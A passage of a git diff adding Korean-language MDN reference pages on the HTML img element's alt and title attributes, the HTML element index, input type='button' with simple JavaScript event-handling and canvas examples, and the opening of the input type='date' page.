+<h3 id="적합한_대체_설명_작성">적합한 대체 설명 작성</h3>
+
+<p>{{htmlattrxref("alt", "img")}} 특성의 값은 이미지 콘텐츠를 간단하고 명료하게 설명해야 합니다. 그러나 이미지의 존재 여부나, 이미지 파일의 이름을 나타내서는 안됩니다. 이미지를 텍스트로 설명할 방법이 없어서 의도적으로 <code>alt</code>를 지정하지 않은 경우, 해당 이미지가 나타내려는 바를 알려줄 수 있는 다른 방법을 고려해보세요.</p>
+
+<h4 id="부적절">부적절</h4>
+
+<pre class="brush: html example-bad">&lt;img alt="이미지" src="penguin.jpg"&gt;
+</pre>
+
+<h4 id="적절">적절</h4>
+
+<pre class="brush: html example-good">&lt;img alt="해변에 서있는 바위뛰기펭귄." src="penguin.jpg"&gt;
+</pre>
+
+<p>일부 스크린 리더는 <code>alt</code> 특성을 가지지 않는 이미지를 보면 파일 이름을 표현하는 경우가 있는데, 이 때 파일의 이름이 이미지의 콘텐츠를 설명하지 않는다면 사용자가 혼란스러울 수 있습니다.</p>
+
+<ul>
+ <li><a class="external" href="https://www.w3.org/WAI/tutorials/images/decision-tree/">An alt Decision Tree • Images • WAI Web Accessibility Tutorials</a></li>
+ <li><a class="external" href="https://axesslab.com/alt-texts/">Alt-texts: The Ultimate Guide — Axess Lab</a></li>
+ <li><a class="external" href="https://www.deque.com/blog/great-alt-text-introduction/">How to Design Great Alt Text: An Introduction | Deque</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/Understanding_WCAG/Perceivable#Guideline_1.1_—_Providing_text_alternatives_for_non-text_content">MDN Understanding WCAG, Guideline 1.1 explanations</a></li>
+ <li><a class="external" href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/text-equiv-all.html">Understanding Success Criterion 1.1.1 | W3C Understanding WCAG 2.0</a></li>
+</ul>
+
+<h3 id="title_특성"><code>title</code> 특성</h3>
+
+<p>{{htmlattrxref("title")}} 특성은 {{htmlattrxref("alt", "img")}} 특성을 적합하게 대체할 수 없습니다. 또한, <code>alt</code>의 값을 <code>title</code>에도 반복하는 것을 피해야 합니다. 같은 값을 지정할 경우 일부 스크린 리더가 설명을 두 번씩 읽게 되므로 사용자가 혼란스러울 수 있습니다.</p>
+
+<p><code>title</code> 요소를 사용해 <code>alt</code> 설명에 대한 부연 설명을 제공해서도 안됩니다. 이미지가 설명을 필요로 하는 경우 {{htmlelement("figure")}}와 {{htmlelement("figcaption")}} 요소를 사용하세요.</p>
+
+<p><code>title</code> 특성은 보통 툴팁, 즉 사용자가 커서를 이미지 위에 올리고 가만히 있으면 짧은 시간 뒤에 나타나는 형태로 표현합니다. 따라서 추가 정보를 제공할 수는 있겠으나 터치 화면, 또는 키보드만 사용하는 경우도 존재하므로 사용자가 툴팁을 볼 수 있을 것이라고 기대해서는 안됩니다. 사용자에게 많이 중요한 정보를 포함해야 하면 <code>title</code> 특성 대신 위에 명시한 다른 방법을 사용하세요.</p>
+
+<ul>
+ <li><a class="external" href="https://developer.paciellogroup.com/blog/2013/01/using-the-html-title-attribute-updated/">Using the HTML title attribute – updated | The Paciello Group</a></li>
+</ul>
+
+<h2 id="기술_요약">기술 요약</h2>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row"><a href="/ko/docs/Web/Guide/HTML/Content_categories">콘텐츠 카테고리</a></th>
+ <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#플로우_콘텐츠">플로우 콘텐츠</a>, <a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>, <a href="/ko/docs/Web/Guide/HTML/Content_categories#내장_콘텐츠">내장 콘텐츠</a>, <a href="/ko/docs/Web/Guide/HTML/Content_categories#뚜렷한_콘텐츠">뚜렷한 콘텐츠</a>. <code>usemap</code> 특성을 가진 경우 <a href="/ko/docs/Web/Guide/HTML/Content_categories#대화형_콘텐츠">대화형 콘텐츠</a>.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 콘텐츠</th>
+ <td>없음. {{glossary("empty element", "빈 요소")}}입니다.</td>
+ </tr>
+ <tr>
+ <th scope="row">태그 생략</th>
+ <td>여는 태그는 필수입니다. 닫는 태그는 존재해선 안됩니다.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 부모 요소</th>
+ <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#내장_콘텐츠">내장 콘텐츠</a>를 허용하는 모든 요소.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 ARIA 역할</th>
+ <td>모두</td>
+ </tr>
+ <tr>
+ <th scope="row">DOM 인터페이스</th>
+ <td>{{domxref("HTMLImageElement")}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('Referrer Policy', '#referrer-policy-delivery-referrer-attribute', 'referrer attribute')}}</td>
+ <td>{{Spec2('Referrer Policy')}}</td>
+ <td>Added the <code>referrerpolicy</code> attribute.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', 'embedded-content.html#the-img-element', '&lt;img&gt;')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 W3C', 'semantics-embedded-content.html#the-img-element', '&lt;img&gt;')}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML4.01', 'struct/objects.html#h-13.2', '&lt;img&gt;')}}</td>
+ <td>{{Spec2('HTML4.01')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.elements.img")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{HTMLElement("picture")}}, {{HTMLElement("object")}}, {{HTMLElement("embed")}} 요소</li>
+ <li>이미지 관련 CSS 속성: {{cssxref("object-fit")}}, {{cssxref("object-position")}}, {{cssxref("image-orientation")}}, {{cssxref("image-rendering")}}, {{cssxref("image-resolution")}}.</li>
+</ul>
diff --git a/files/ko/web/html/element/index.html b/files/ko/web/html/element/index.html
new file mode 100644
index 0000000000..9ecf2abe63
--- /dev/null
+++ b/files/ko/web/html/element/index.html
@@ -0,0 +1,102 @@
+---
+title: HTML 요소 참고서
+slug: Web/HTML/Element
+tags:
+ - Basic
+ - Element
+ - HTML
+ - Reference
+ - Web
+ - 'l10n:priority'
+translation_of: Web/HTML/Element
+---
+<p>{{HTMLSidebar("Elements")}}<br>
+ <span class="seoSummary">이 페이지는 {{glossary("tag", "태그")}}를 사용해 만들 수 있는 모든 {{glossary("HTML")}} {{glossary("Element", "요소")}}의 목록을 제공합니다.</span> 필요로 하는 요소를 쉽게 찾을 수 있도록 기능별로 분류했으며, 각각의 요소 참조 페이지 사이드바에서는 사전 순으로 정렬된 목록도 확인할 수 있습니다.</p>
+
+<h2 id="메인_루트">메인 루트</h2>
+
+<p>{{HTMLRefTable("HTML Root Element")}}</p>
+
+<h2 id="문서_메타데이터" style="line-height: 30px; font-size: 2.14285714285714rem;">문서 메타데이터</h2>
+
+<p>{{glossary("metadata", "메타데이터")}}는 스타일, 스크립트, 각종 소프트웨어({{Glossary("search engine", "검색 엔진")}}, {{glossary("browser", "브라우저")}} 등)의 탐색 및 렌더링을 도와줄 데이터 등 페이지에 대한 정보를 가집니다. 스타일과 스크립트 메타데이터는 페이지 안에서 정의할 수도 있고, 해당하는 정보를 가진 다른 파일로 링크할 수도 있습니다.</p>
+
+<p>{{HTMLRefTable("HTML document metadata")}}</p>
+
+<h2 id="구획_루트" style="line-height: 30px; font-size: 2.14285714285714rem;">구획 루트</h2>
+
+<p>{{HTMLRefTable("Sectioning Root Element")}}</p>
+
+<h2 id="콘텐츠_구획" style="line-height: 30px; font-size: 2.14285714285714rem;">콘텐츠 구획</h2>
+
+<p>콘텐츠 구획 요소를 사용하면 문서의 콘텐츠를 논리적인 조각으로 체계화할 수 있습니다. 구획 요소를 사용해 탐색을 위한 헤더 및 푸터, 콘텐츠 판별을 위한 제목 요소 등 페이지 콘텐츠의 큰 틀을 잡으세요.</p>
+
+<p>{{HTMLRefTable("HTML sections")}}</p>
+
+<h2 id="텍스트_콘텐츠" style="line-height: 30px; font-size: 2.14285714285714rem;">텍스트 콘텐츠</h2>
+
+<p>HTML 텍스트 콘텐츠를 사용하여 여는 {{htmlelement("body")}}와 닫는 <code>&lt;/body&gt;</code> 태그 사이의 블록이나 콘텐츠 구획을 정리할 수 있습니다. 해당 콘텐츠의 목적이나 구조 판별에 사용하므로 {{glossary("accessibility", "접근성")}}과 {{glossary("SEO")}}에 중요합니다.</p>
+
+<p>{{HTMLRefTable("HTML grouping content")}}</p>
+
+<h2 id="인라인_텍스트_시멘틱" style="line-height: 30px; font-size: 2.14285714285714rem;">인라인 텍스트 시멘틱</h2>
+
+<p>HTML 인라인 텍스트 시멘틱을 사용해서 단어, 줄, 혹은 아무 부분의 의미나 구조, 스타일을 정의할 수 있습니다.</p>
+
+<p>{{HTMLRefTable("HTML text-level semantics")}}</p>
+
+<h2 id="이미지_멀티미디어" style="line-height: 30px; font-size: 2.14285714285714rem;">이미지 &amp; 멀티미디어</h2>
+
+<p>HTML은 사진, 오디오, 비디오 등 다양한 멀티미디어 리소스를 지원합니다..</p>
+
+<p>{{HTMLRefTable("multimedia")}}</p>
+
+<h2 id="내장_콘텐츠" style="line-height: 30px; font-size: 2.14285714285714rem;">내장 콘텐츠</h2>
+
+<p>HTML은 일반적인 멀티미디어 콘텐츠 외에도 다양한 종류의 기타 콘텐츠를 포함할 수 있습니다.</p>
+
+<p>{{HTMLRefTable({"include":["HTML embedded content"], "exclude":["multimedia"]})}}</p>
+
+<h2 id="스크립트" style="line-height: 30px; font-size: 2.14285714285714rem;">스크립트</h2>
+
+<p>HTML은 동적인 콘텐츠와 웹 어플리케이션을 위해 스크립트 언어, 그 중에서도 주로 JavaScript를 지원합니다. 특정 요소가 이런 기능을 가지고 있습니다.</p>
+
+<p>{{HTMLRefTable("HTML scripting")}}</p>
+
+<h2 id="수정사항_표시" style="line-height: 30px; font-size: 2.14285714285714rem;">수정사항 표시</h2>
+
+<p>텍스트의 특정 부분이 수정됐다는 것을 표시할 수 있습니다.</p>
+
+<p>{{HTMLRefTable("HTML edits")}}</p>
+
+<h2 id="표_콘텐츠" style="line-height: 30px; font-size: 2.14285714285714rem;">표 콘텐츠</h2>
+
+<p>표 형식의 데이터를 생성하고 처리할 때 사용합니다.</p>
+
+<p>{{HTMLRefTable("HTML tabular data")}}</p>
+
+<h2 id="양식" style="line-height: 30px; font-size: 2.14285714285714rem;">양식</h2>
+
+<p>HTML은 여러가지 입력 가능한 요소를 제공합니다. 이런 요소를 서로 조합하면 사용자가 내용을 채우고, 웹사이트나 어플리케이션에 제출할 수 있습니다. <a href="/ko/docs/Learn/HTML/Forms">HTML 폼 안내서</a>에 더욱 다양한 내용이 있습니다.</p>
+
+<p>{{HTMLRefTable("HTML forms")}}</p>
+
+<h2 id="대화형_요소" style="line-height: 30px; font-size: 2.14285714285714rem;">대화형 요소</h2>
+
+<p>HTML은 상호작용 가능한 사용자 인터페이스 객체를 만들 때 사용할 수 있는 요소를 지원합니다.</p>
+
+<p>{{HTMLRefTable("HTML interactive elements")}}</p>
+
+<h2 id="웹_컴포넌트" style="line-height: 30px; font-size: 2.14285714285714rem;">웹 컴포넌트</h2>
+
+<p>웹 컴포넌트는 완전히 새로운 형태의 요소를 생성한 후 일반적인 HTML처럼 사용할 수 있는 기술입니다. 또한 표준 HTML 요소의 맞춤 버전을 만들 수도 있습니다.</p>
+
+<p>{{HTMLRefTable({"include":["Web Components"],"exclude":["Deprecated", "Obsolete"]})}}</p>
+
+<h2 id="폐기됐거나_사용하지_않는_요소들" style="line-height: 30px; font-size: 2.14285714285714rem;">폐기됐거나 사용하지 않는 요소들</h2>
+
+<div class="warning" style="font-size: 14px;">
+<p><strong>경고</strong>: 다음은 더 이상 사용하지 않고, 사용해서도 안되는 오래된 HTML 요소입니다. <strong>새로운 프로젝트에서 절대 사용해서는 안되고, 오래된 프로젝트에서도 가능한 빨리 대체해야 합니다.</strong> 아래 목록은 정보성 목적으로만 존재합니다.</p>
+</div>
+
+<p>{{HTMLRefTable({"include":["Deprecated","Obsolete"]})}}</p>
diff --git a/files/ko/web/html/element/input/button/index.html b/files/ko/web/html/element/input/button/index.html
new file mode 100644
index 0000000000..ff986a95d4
--- /dev/null
+++ b/files/ko/web/html/element/input/button/index.html
@@ -0,0 +1,343 @@
+---
+title: <input type="button">
+slug: Web/HTML/Element/Input/button
+tags:
+ - Element
+ - Forms
+ - HTML
+ - HTML forms
+ - Input Element
+ - Input Type
+translation_of: Web/HTML/Element/input/button
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary"><strong><code>button</code></strong> 유형의 {{htmlelement("input")}} 요소는 단순한 푸시 버튼으로 렌더링 됩니다. 이벤트 처리기(주로 {{event("click")}} 이벤트)를 부착하면, 사용자 지정 기능을 웹 페이지 어느 곳에나 제공할 수 있습니다. </span></p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/input-button.html", "tabbed-standard")}}</div>
+
+<p class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</p>
+
+<div class="note">
+<p><strong>참고</strong>:  <code>&lt;input&gt;</code> 요소의 <code>button</code> 유형도 전혀 틀리지 않은 방법이지만, 이후에 생긴 {{HTMLElement("button")}} 요소를 사용하는 것이 선호되는 방식입니다. <code>&lt;button&gt;</code>의 레이블 텍스트는 여는 태그와 닫는 태그 사이에 넣기 때문에, 심지어 이미지까지도 포함할 수 있습니다.</p>
+</div>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <td><strong>{{anch("값")}}</strong></td>
+ <td>버튼의 레이블로 사용할 {{domxref("DOMString")}}</td>
+ </tr>
+ <tr>
+ <td>이벤트</td>
+ <td>{{event("click")}}</td>
+ </tr>
+ <tr>
+ <td>지원하는 공용 특성</td>
+ <td>{{htmlattrxref("type", "input")}}, {{htmlattrxref("value", "input")}}</td>
+ </tr>
+ <tr>
+ <td><strong>IDL 특성</strong></td>
+ <td><code>value</code></td>
+ </tr>
+ <tr>
+ <td>메서드</td>
+ <td>없음</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="값">값</h2>
+
+<p><code>&lt;input type="button"&gt;</code> 요소의 {{htmlattrxref("value", "input")}} 특성은 버튼의 레이블로 사용할 {{domxref("DOMString")}}을 담습니다.</p>
+
+<div id="summary-example3">
+<pre class="brush: html">&lt;input type="button" value="클릭하세요"&gt;</pre>
+</div>
+
+<p>{{EmbedLiveSample("summary-example3", 650, 30)}}</p>
+
+<p><code>value</code>를 지정하지 않으면 빈 버튼이 됩니다.</p>
+
+<div id="summary-example1">
+<pre class="brush: html">&lt;input type="button"&gt;</pre>
+</div>
+
+<p>{{EmbedLiveSample("summary-example1", 650, 30)}}</p>
+
+<h2 id="버튼_사용하기">버튼 사용하기</h2>
+
+<p><code>&lt;input type="button"&gt;</code> 요소는 아무런 기본 기능도 가지지 않습니다. (유사한 요소인 <code><a href="/ko/docs/Web/HTML/Element/input/submit">&lt;input type="submit"&gt;</a></code>과 <code><a href="/ko/docs/Web/HTML/Element/input/reset">&lt;input type="reset"&gt;</a></code>은 각각 양식을 제출하고 초기화할 수 있습니다.) 버튼이 뭐라도 하게 만들려면 JavaScript 코드를 작성해야 합니다.</p>
+
+<h3 id="간단한_버튼">간단한 버튼</h3>
+
+<p>{{event("click")}} 이벤트 처리기를 부착한 간단한 버튼을 통해 기계를 켜고 끄는 기능을 만드는 것으로 시작해보겠습니다. (기계라고는 하지만, 그냥 버튼의 <code>value</code>와 문단 내용을 바꾸는 것입니다.)</p>
+
+<pre class="brush: html">&lt;form&gt;
+ &lt;input type="button" value="기계 켜기"&gt;
+&lt;/form&gt;
+&lt;p&gt;기계가 멈췄습니다.&lt;/p&gt;</pre>
+
+<pre class="brush: js">var btn = document.querySelector('input');
+var txt = document.querySelector('p');
+
+btn.addEventListener('click', updateBtn);
+
+function updateBtn() {
+ if (btn.value === '기계 켜기') {
+ btn.value = '기계 끄기';
+ txt.textContent = '기계가 켜졌습니다!';
+ } else {
+ btn.value = '기계 켜기';
+ txt.textContent = '기계가 멈췄습니다.';
+ }
+}</pre>
+
+<p>위의 스크립트는 DOM의 <code>&lt;input&gt;</code>을 나타내는 {{domxref("HTMLInputElement")}} 객체의 참조를 획득해 변수 <code>button</code>에 저장합니다. 그 후 {{domxref("EventTarget.addEventListener", "addEventListener()")}}를 사용해, {{event("click")}} 이벤트가 발생했을 때 실행할 함수를 생성합니다.</p>
+
+<p>{{EmbedLiveSample("간단한_버튼", 650, 100)}}</p>
+
+<h3 id="버튼에_키보드_단축키_추가하기">버튼에 키보드 단축키 추가하기</h3>
+
+<p>접근 키라고도 불리는 키보드 단축키는 사용자가 키보드의 키 혹은 키 조합을 통해 버튼을 누를 수 있는 방법을 제공합니다. 단축키를 추가하는 법은, 다른 {{htmlelement("input")}}과 마찬가지로, {{htmlattrxref("accesskey")}} 전역 특성을 추가하는 것입니다.</p>
+
+<p>이번 예제에서는 이전 예제에 더해 <kbd>s</kbd> 키를 접근 키로 지정합니다. (브라우저/운영체제에 따라 특정 조합키를 같이 눌러야 할 수도 있습니다. <code><a href="/ko/docs/Web/HTML/Global_attributes/accesskey">accesskey</a></code> 문서를 방문해 조합키 목록을 확인하세요.)</p>
+
+<div id="accesskey-example1">
+<pre class="brush: html">&lt;form&gt;
+ &lt;input type="button" value="기계 켜기" accesskey="s"&gt;
+&lt;/form&gt;
+&lt;p&gt;기계가 멈췄습니다.&lt;/p&gt;
+</pre>
+</div>
+
+<div class="hidden">
+<pre class="brush: js">var btn = document.querySelector('input');
+var txt = document.querySelector('p');
+
+btn.addEventListener('click', updateBtn);
+
+function updateBtn() {
+ if (btn.value === '기계 켜기') {
+ btn.value = '기계 끄기';
+ txt.textContent = '기계가 켜졌습니다!';
+ } else {
+ btn.value = '기계 켜기';
+ txt.textContent = '기계가 멈췄습니다.';
+ }
+}</pre>
+</div>
+
+<p>{{EmbedLiveSample("버튼에_키보드_단축키_추가하기", 650, 100)}}</p>
+
+<div class="note">
+<p><strong>참고</strong>: 위 예제의 문제는, 사용자 입장에선 어떤 단축키가 있는지 알 수도 없다는 것입니다! 실제 웹 사이트에서는, 쉽게 접근 가능한 곳에 놓인 링크로 단축키 정보를 설명하는 문서를 가리키는 등 사이트 디자인을 방해하지 않는 선에서 단축키 정보를 제공해야 할 것입니다.</p>
+</div>
+
+<h3 id="버튼_활성화와_비활성화">버튼 활성화와 비활성화</h3>
+
+<p>버튼을 비활성화하려면 간단히 {{htmlattrxref("disabled")}} 전역 특성을 지정하는 것으로 충분합니다.</p>
+
+<div id="disable-example1">
+<pre class="brush: html">&lt;input type="button" value="Disable me" disabled&gt;</pre>
+</div>
+
+<p>런타임에서 바꿀 땐 요소의 <code>disabled</code> 속성에 <code>true</code>나 <code>false</code>를 설정하면 끝입니다. 이번 예제의 버튼은 활성화 상태지만, 누르는 순간 <code>btn.disabled = true</code>를 통해 비활성화합니다. 그 후, {{domxref("WindowTimers.setTimeout","setTimeout()")}} 함수를 통해 2초 후 다시 활성화 상태로 되돌립니다.</p>
+
+<div class="hidden">
+<h6 id="Hidden_code_1">Hidden code 1</h6>
+
+<pre class="brush: html">&lt;input type="button" value="활성"&gt;</pre>
+
+<pre class="brush: js">var btn = document.querySelector('input');
+
+btn.addEventListener('click', disableBtn);
+
+function disableBtn() {
+ btn.disabled = true;
+ btn.value = '비활성';
+ window.setTimeout(function() {
+ btn.disabled = false;
+ btn.value = '활성';
+ }, 2000);
+}</pre>
+</div>
+
+<p>{{EmbedLiveSample("Hidden_code_1", 650, 60)}}</p>
+
+<p><code>disabled</code> 특성을 지정하지 않은 경우 부모 요소의 <code>disabled</code>를 상속합니다. 이 점을 이용하면, 여러 개의 요소를 {{HTMLElement("fieldset")}} 등 부모 요소로 감싸고, 그 부모의 <code>disabled</code> 를 사용해 한꺼번에 상태를 통제할 수 있습니다.</p>
+
+<p>다음 예제로 한 번에 비활성화하는 예제를 볼 수 있습니다. 이전 예제와 거의 똑같지만, 다른 점은 <code>disabled</code> 특성을 <code>&lt;fieldset&gt;</code>에 설정한다는 점입니다. 1번 버튼을 눌러보세요. 모든 버튼이 비활성화되고, 2초 후 활성화됩니다.</p>
+
+<div class="hidden">
+<h6 id="Hidden_code_2">Hidden code 2</h6>
+
+<pre class="brush: html">&lt;fieldset&gt;
+ &lt;legend&gt;Button group&lt;/legend&gt;
+ &lt;input type="button" value="Button 1"&gt;
+ &lt;input type="button" value="Button 2"&gt;
+ &lt;input type="button" value="Button 3"&gt;
+&lt;/fieldset&gt;</pre>
+
+<pre class="brush: js">var btn = document.querySelector('input');
+var fieldset = document.querySelector('fieldset');
+
+btn.addEventListener('click', disableBtn);
+
+function disableBtn() {
+ fieldset.disabled = true;
+ window.setTimeout(function() {
+ fieldset.disabled = false;
+ }, 2000);
+}</pre>
+</div>
+
+<p>{{EmbedLiveSample("Hidden_code_2", 650, 60)}}</p>
+
+<h2 id="유효성_검사">유효성 검사</h2>
+
+<p>버튼은 제한할 값이 없으므로 유효성 검사의 대상이 아닙니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<p>아래 예제는 {{htmlelement("canvas")}} 요소와 CSS(분량 조절을 위해 생략), JavaScript를 사용해 만든 매우 단순한 그림 그리기 앱입니다. 위쪽 두 컨트롤은 색과 펜 크기를 조절할 때 사용하고, 버튼은 클릭하면 캔버스의 그림을 모두 지우는 함수를 호출합니다.</p>
+
+<pre class="brush: html">&lt;div class="toolbar"&gt;
+ &lt;input type="color" aria-label="펜 색상"&gt;
+ &lt;input type="range" min="2" max="50" value="30" aria-label="펜 크기"&gt;&lt;span class="output"&gt;30&lt;/span&gt;
+ &lt;input type="button" value="캔버스 지우기"&gt;
+&lt;/div&gt;
+
+&lt;canvas class="myCanvas"&gt;
+ &lt;p&gt;Add suitable fallback here.&lt;/p&gt;
+&lt;/canvas&gt;</pre>
+
+<div class="hidden">
+<pre class="brush: css">body {
+ margin: 0;
+ overflow: hidden;
+ background: #ccc;
+}
+
+.toolbar {
+ width: 150px;
+ height: 75px;
+ background: #ccc;
+ padding: 5px;
+}
+
+input[type="color"], input[type="button"] {
+ width: 90%;
+ margin: 0 auto;
+ display: block;
+}
+
+input[type="range"] {
+ width: 70%;
+}
+
+ span {
+ position: relative;
+ bottom: 5px;
+ }</pre>
+</div>
+
+<pre class="brush: js">var canvas = document.querySelector('.myCanvas');
+var width = canvas.width = window.innerWidth;
+var height = canvas.height = window.innerHeight-85;
+var ctx = canvas.getContext('2d');
+
+ctx.fillStyle = 'rgb(0,0,0)';
+ctx.fillRect(0,0,width,height);
+
+var colorPicker = document.querySelector('input[type="color"]');
+var sizePicker = document.querySelector('input[type="range"]');
+var output = document.querySelector('.output');
+var clearBtn = document.querySelector('input[type="button"]');
+
+// covert degrees to radians
+function degToRad(degrees) {
+ return degrees * Math.PI / 180;
+};
+
+// update sizepicker output value
+
+sizePicker.oninput = function() {
+ output.textContent = sizePicker.value;
+}
+
+// store mouse pointer coordinates, and whether the button is pressed
+var curX;
+var curY;
+var pressed = false;
+
+// update mouse pointer coordinates
+document.onmousemove = function(e) {
+ curX = (window.Event) ? e.pageX : e.clientX + (document.documentElement.scrollLeft ? document.documentElement.scrollLeft : document.body.scrollLeft);
+ curY = (window.Event) ? e.pageY : e.clientY + (document.documentElement.scrollTop ? document.documentElement.scrollTop : document.body.scrollTop);
+}
+
+canvas.onmousedown = function() {
+ pressed = true;
+};
+
+canvas.onmouseup = function() {
+ pressed = false;
+}
+
+clearBtn.onclick = function() {
+ ctx.fillStyle = 'rgb(0,0,0)';
+ ctx.fillRect(0,0,width,height);
+}
+
+function draw() {
+ if(pressed) {
+ ctx.fillStyle = colorPicker.value;
+ ctx.beginPath();
+ ctx.arc(curX, curY-85, sizePicker.value, degToRad(0), degToRad(360), false);
+ ctx.fill();
+ }
+
+ requestAnimationFrame(draw);
+}
+
+draw();</pre>
+
+<p>{{EmbedLiveSample("예제", '100%', 600)}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comments</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', 'forms.html#button-state-(type=button)', '&lt;input type="button"&gt;')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 W3C', 'forms.html#button-state-(type=button)', '&lt;input type="button"&gt;')}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.elements.input.input-button")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{HTMLElement("input")}} 요소와 그 인터페이스 {{domxref("HTMLInputElement")}}.</li>
+ <li>보다 현대적인 {{HTMLElement("button")}} 요소.</li>
+</ul>
diff --git a/files/ko/web/html/element/input/date/index.html b/files/ko/web/html/element/input/date/index.html
new file mode 100644
index 0000000000..43675823de
--- /dev/null
+++ b/files/ko/web/html/element/input/date/index.html
@@ -0,0 +1,497 @@
+---
+title: <input type="date">
+slug: Web/HTML/Element/Input/date
+tags:
+ - Element
+ - HTML
+ - HTML forms
+ - Input
+ - Input Element
+ - Input Type
+ - Reference
+translation_of: Web/HTML/Element/input/date
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary"><strong><code>date</code></strong> 유형의 {{HTMLElement("input")}} 요소는 유효성 검증을 포함하는 텍스트 상자 또는 특별한 날짜 선택 인터페이스를 사용해 날짜를 입력할 수 있는 입력 칸을 생성합니다.</span></p>
+
+<p>입력 칸의 값은 연, 월, 일을 포함하지만 시간은 포함하지 않습니다. {{HTMLElement("input/time", "time")}}과 {{HTMLElement("input/datetime-local", "datetime-local")}} 입력 유형이 시간과 시간+날짜 조합을 지원합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/input-date.html", "tabbed-shorter")}}</div>
+
+<div class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> and send us a pull request.</div>
+
+<p>입력 UI는 브라우저마다 다릅니다. {{anch("브라우저 호환성")}}에서 더 자세한 정보를 알아보세요. 날짜 입력 유형을 지원하지 않는 브라우저에서는 우아하게 <code><a href="/ko/docs/Web/HTML/Element/input/text">&lt;input type="text"&gt;</a></code>로 저하됩니다.</p>
+
+<p>날짜 선택을 위한 별도의 인터페이스를 갖춘 브라우저 중, Chrome과 Opera는 다음과 같은 모양의 달력을 보여줍니다.</p>
+
+<p><img alt="A textbox containing “dd/mm/yyyy”, an increment/decrement button combo, and a downward arrow that opens into a calendar control." src="https://mdn.mozillademos.org/files/14909/date-picker-chrome.png" style="display: block; height: 220px; margin: 0px auto; width: 275px;"></p>
+
+<p>구 Edge의 컨트롤입니다.</p>
+
+<p><img alt="A textbox containing “mm/dd/yyyy”, but when interacted with, opens a tri-column date selector." src="https://mdn.mozillademos.org/files/14911/date-picker-edge.png" style="display: block; margin: 0 auto;"></p>
+
+<p>Firefox의 날짜 컨트롤입니다.</p>
+
+<p><img alt="Another “dd/mm/yyyy” textbox that expands into a selectable calendar control." src="https://mdn.mozillademos.org/files/15644/firefox_datepicker.png" style="display: block; margin: 0 auto;"></p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <td><strong>{{anch("값")}}</strong></td>
+ <td>YYYY-MM-DD 형식으로 날짜를 나타내거나, 빈 {{domxref("DOMString")}}.</td>
+ </tr>
+ <tr>
+ <td><strong>이벤트</strong></td>
+ <td>{{domxref("HTMLElement/change_event", "change")}}, {{domxref("HTMLElement/input_event", "input")}}</td>
+ </tr>
+ <tr>
+ <td><strong>지원하는 공통 특성</strong></td>
+ <td>{{htmlattrxref("autocomplete", "input")}}, {{htmlattrxref("list", "input")}}, {{htmlattrxref("readonly", "input")}}, {{htmlattrxref("step", "input")}}</td>
+ </tr>
+ <tr>
+ <td><strong>IDL 특성</strong></td>
+ <td><code>list</code>, <code>value</code>, <code>valueAsDate</code>, <code>valueAsNumber</code>.</td>
+ </tr>
+ <tr>
+ <td><strong>메서드</strong></td>
+ <td>{{domxref("HTMLInputElement.select", "select()")}}, {{domxref("HTMLInputElement.stepDown", "stepDown()")}}, {{domxref("HTMLInputElement.stepUp", "stepUp()")}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="값">값</h2>
+
+<p>날짜 입력 칸의 값은 입력한 날짜를 나타내는 {{domxref("DOMString")}}입니다. 날짜는 유효한 날짜 문자열 문서에서 설명하듯, ISO8601을 따르는 서식을 취합니다.</p>
+
+<p>{{htmlattrxref("value", "input")}} 특성에 날짜를 지정해서 입력 칸의 기본값을 지정할 수 있습니다.</p>
+
+<pre class="brush: html">&lt;input type="date" value="2017-06-01"&gt;</pre>
+
+<p>{{EmbedLiveSample('값', 600, 40)}}</p>
+
+<div class="blockIndicator note">
